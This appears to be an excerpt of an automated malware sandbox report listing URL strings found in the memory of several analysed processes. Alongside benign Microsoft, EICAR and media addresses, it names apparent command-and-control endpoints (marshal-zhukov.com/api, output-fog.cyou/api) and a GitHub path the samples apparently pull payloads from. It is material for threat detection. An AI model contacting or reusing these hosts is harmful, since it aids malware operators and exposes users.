Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163638261.0000027A40952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161352420.0000027A4094D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292713801.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292550853.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292672339.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292604166.0000027A4090E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/Inlinin.srf?i
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000012.00000003.14292170717.0000027A40940000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291963676.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165560965.0000027A3FE7C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000012.00000003.17164399423.0000027A3FF05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166078512.0000027A3FF09000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000012.00000002.17165250045.0000027A3FE2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf0
Source: svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: vg9qcBa.exe, 00000027.00000003.14473405029.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474406354.0000000003705000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14472931951.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC39592000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://lugarinho.tech/tools/taskbar-monitor
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: L.exe, 0000000E.00000002.14892420266.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14361713436.0000000005AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/
Source: rodda.exe, 0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/D
Source: L.exe, 0000000E.00000002.14892420266.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/F
Source: L.exe, 0000000E.00000003.14815312623.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14814440700.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14819589833.0000000005B33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/H
Source: rodda.exe, 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14585520955.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631316208.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14666334051.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14546004873.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/L
Source: rodda.exe, 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14585520955.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631316208.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14666334051.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14546004873.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/T
Source: L.exe, 0000000E.00000003.14697257454.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663410641.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735739186.0000000005B68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api
Source: rodda.exe, 0000000C.00000003.14470868210.0000000006513000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14471783574.0000000006514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api#
Source: L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api)n7
Source: rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/api;
Source: L.exe, 0000000E.00000003.14884163005.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14892851746.0000000005B35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiE
Source: L.exe, 0000000E.00000003.14662194345.0000000005B51000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B4F000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14664031630.0000000005B52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiT
Source: L.exe, 0000000E.00000003.14663022292.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14664309915.0000000005B31000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14664141160.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14774394215.0000000005B2D000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696136351.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14775410329.0000000005B32000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697257454.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663410641.0000000005B2A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiW
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apic
Source: rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apier
Source: L.exe, 0000000E.00000003.14884163005.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696136351.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14892851746.0000000005B35000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14819589833.0000000005B33000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697257454.0000000005B30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apis
Source: L.exe, 0000000E.00000003.14661399478.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/apiurr
Source: rodda.exe, 0000000C.00000003.14631316208.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14666334051.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/d
Source: L.exe, 0000000E.00000002.14892420266.0000000005AF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com/~
Source: L.exe, 0000000E.00000003.14661399478.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697748512.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696470310.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/api
Source: L.exe, 0000000E.00000002.14887228575.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14882925730.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiK
Source: L.exe, 0000000E.00000002.14887228575.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14882925730.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.0000000001265000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://marshal-zhukov.com:443/apiicrosoft
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001290000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696470310.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697748512.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14661399478.000000000127E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166958533.0000027A4104B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/C:
Source: Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/_BROWS
Source: Selection.com, 00000032.00000002.15607940886.0000000001376000.00000004.00000020.00020000.00000000.sdmp, Selection.com, 00000032.00000002.15608488881.0000000001549000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/api
Source: Selection.com, 00000032.00000002.15607940886.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/apih
Source: Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/dow
Source: Selection.com, 00000032.00000002.15608136346.00000000013E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou/llocat
Source: Selection.com, 00000032.00000002.15607940886.0000000001376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://output-fog.cyou:443/apiz
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp
Source: rodda.exe, 0000000C.00000003.14509149586.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://peepburry828.sbs/
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pki.goog/repository/0
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/1005824001
Source: 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/SjRj
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C3D000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14318367718.0000020F058C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Code
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Code27db2eb5733LMEM
Source: 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/CodeNQ
Source: 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/CodePQ
Source: 926085a3ba.exe, 0000000D.00000002.14318367718.0000020F058C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Codeo
Source: 926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/CodeqQ
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/r
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sdlc-esd.oracle.com/ESD6/JSCDL/jdk/8u301-b09/d3c52aa6bfa54d3ca74e617f18309292/JavaSetup8u301
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com
Source: rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txt/
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com.txtD
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com/
Source: rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://secure.eicar.org/eicar.com;
Source: svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
